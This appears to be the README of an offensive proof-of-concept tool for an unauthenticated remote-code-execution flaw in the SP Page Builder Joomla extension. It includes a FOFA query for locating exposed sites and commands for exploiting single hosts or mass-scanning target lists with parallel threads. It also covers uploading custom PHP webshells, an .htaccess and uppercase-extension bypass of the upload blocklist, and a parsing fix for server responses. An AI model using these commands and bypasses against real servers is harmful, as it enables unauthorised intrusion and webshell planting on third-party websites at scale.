CVE-2026-48908 — SP Page Builder Unauthenticated RCE

SP Page Builder (com_sppagebuilder) for Joomla ≤ 6.6.1 allows unauthenticated attackers to upload arbitrary files and achieve Remote Code Execution.

FOFA Query

body="com_sppagebuilder"

Usage

Requirements

• Python 3.8+

pip install -r requirements.txt

Single host

python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # probe only, no command
python3 exploit_poc.py https://target.example --token abc123   # custom token

Mass scan

python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 parallel threads
python3 exploit_poc.py --hosts ips.txt --no-verbose             # quiet mode

Custom webshell

python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Note: When using --shell-file, the script only uploads the webshell and reports the URL. It does not run the -c command or perform any execution test. The uploaded shell must handle command input independently.

Options

Demo

Mass scan

Output

After a scan, three result files are saved:

How It Works

The exploit abuses the com_sppagebuilder asset.uploadCustomIcon task:

1. POST a crafted ZIP (icon-font package) unauthenticated — no CSRF token required.
2. SPPB extracts the ZIP to /media/com_sppagebuilder/assets/iconfont/<name>/fonts/.
3. The uploaded PHP file is served publicly.

The script tries multiple PHP extensions (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) until it finds one that executes.

htaccess Bypass

When direct PHP extensions are blocked by SPPB's filter, the script drops a .htaccess file alongside the payload:

AddType application/x-httpd-php .PHP

This forces the web server to treat .PHP (uppercase) as PHP — bypassing SPPB's case-sensitive blocklist. Requires AllowOverride enabled and PHP execution allowed in /media.

Note: The .htaccess + uppercase .PHP bypass may not work on all configurations. If it fails, try using .png or .jpeg extensions instead. On servers with AllowOverride disabled or PHP execution blocked in /media, even uploaded shells will not execute (reported as "write-only").

Modifications

This PoC is based on https://github.com/papageo75/CVE-2026-48908-PoC/ with the following additions:

1. Non-JSON Response Handling

Some server responses may contain non-JSON prefixes (e.g., cron expressions or other garbage) before the actual JSON payload. The original PoC would crash on r.json() when parsing such responses. This version scans for the first { character and attempts to decode the JSON substring:

Before:

try:
    data = r.json()
except ValueError:
    return None

After:

try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Example — valid JSON response:

{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Example — non-JSON response (prefix garbage before JSON):

cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Mass Scan Support

Added multi-threaded mass scanning capability:

• --hosts <file> — load targets from a file (one per line)
• -j, --threads <n> — set parallel thread count (default: 10)
• --no-verbose — suppress per-host verbose output
• Results grouped and saved to categorized .txt files

3. Custom Webshell Upload

Added --shell-file <path> option to upload a custom PHP webshell instead of the built-in token-guarded shell. When using this option:

• The script uploads the shell without running -c commands
• No execution test (run()) is performed
• All working extensions are tested and reported
• Results saved to custom_shell_hosts.txt

Disclaimer

AUTHORIZED USE ONLY. For sanctioned penetration tests, CTF, and lab targets only. You are solely responsible for how you use this tool.